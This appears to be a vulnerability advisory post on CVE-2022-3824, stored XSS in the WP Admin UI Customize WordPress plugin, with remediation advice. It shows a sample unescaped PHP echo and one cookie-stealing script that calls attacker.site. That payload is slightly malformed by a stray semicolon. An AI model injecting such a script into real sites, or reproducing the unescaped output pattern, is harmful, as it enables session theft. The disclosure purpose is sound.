CVE-2022-3824: WP Admin UI Customize Plugin Vulnerability Leads to Stored XSS Attacks

In this in-depth post, we explore a vulnerability in the WP Admin UI Customize WordPress plugin (versions before 1.5.13) that has been identified with the Common Vulnerabilities and Exposures (CVE) ID CVE-2022-3824. We'll walk through the code snippets, original references, and exploit details for this vulnerability, which allows high privilege users such as admins to perform Stored Cross-Site Scripting (XSS) attacks even when the unfiltered_html capability is disallowed — for instance, in a multisite setup.

Background

The WP Admin UI Customize plugin is widely used to enable WordPress administrators to customize their website's administration area. The plugin has a diverse array of settings that users can change according to their preferences. However, the plugin's failure to sanitize and escape some of its settings has led to the discovery of a serious vulnerability that can result in Stored XSS attacks.

Exploit Details

Stored XSS attacks occur when an attacker injects a malicious script into a vulnerable application, typically via form fields or input parameters. When an unsuspecting user visits the affected site, the malicious script executes in their browser. The attacker can then steal sensitive information such as user authentication cookies, redirect users to harmful websites, or manipulate the site's content for their benefit.

In the case of CVE-2022-3824, a high privilege user with the ability to modify the plugin settings can inject malicious scripts into the plugin settings. The vulnerable settings include items like the admin footer text, custom login logo URL, and custom CSS. When less privileged users visit the WordPress dashboard page or the custom login page, these scripts get executed within the context of their browsing session, leading to Stored XSS attacks.

Code Snippet

Below is a sample code snippet that demonstrates the plugin's vulnerability.

// Vulnerable code in the WP Admin UI Customize plugin
$admin_footer_text = get_option( 'wauc_admin_footer_text' );
echo $admin_footer_text; // This line could lead to a Stored XSS attack

As shown in the code, the plugin retrieves the admin footer text from its stored options without sanitizing or escaping it. This allows for the injection of a malicious script by a high-privileged user. Here's an example of an injected script:

<script>document.location = 'https://attacker.site/steal?cookie='; + encodeURIComponent(document.cookie);</script>

If the attacker input this script as admin footer text, it would execute whenever any user visited the WordPress dashboard, potentially sending users' cookies to the attacker's website.

For more information on this vulnerability, please refer to the following sources

- CVE-2022-3824 - The official CVE entry providing an overview and impact analysis of the vulnerability.
- WPScan Vulnerability Database - A detailed explanation of the vulnerability, including affected versions and possible remediations.
- WordPress Plugin Directory - The WP Admin UI Customize plugin page on the official WordPress directory.

To protect your WordPress site from this vulnerability, make sure to perform the following steps

1. Update WP Admin UI Customize plugin to version 1.5.13 or later. The most recent version should contain the necessary fixes for CVE-2022-3824.
2. Limit access to the vulnerable plugin settings by ensuring that only trusted administrators can modify them.
3. Regularly monitor your site for suspicious activity and keep your WordPress installation and all plugins up-to-date.

Conclusion

CVE-2022-3824 is a serious vulnerability in the WP Admin UI Customize plugin that allows high privilege users to perform Stored XSS attacks by exploiting unsanitized and unescaped plugin settings. Site owners should take immediate action to update the plugin, limit access to the vulnerable settings, and maintain vigilant cybersecurity practices. By taking proactive steps to protect your site, you can minimize the risk of falling victim to this and other cybersecurity threats.

Timeline

Published on: 11/28/2022 14:15:00 UTC
Last modified on: 11/30/2022 03:48:00 UTC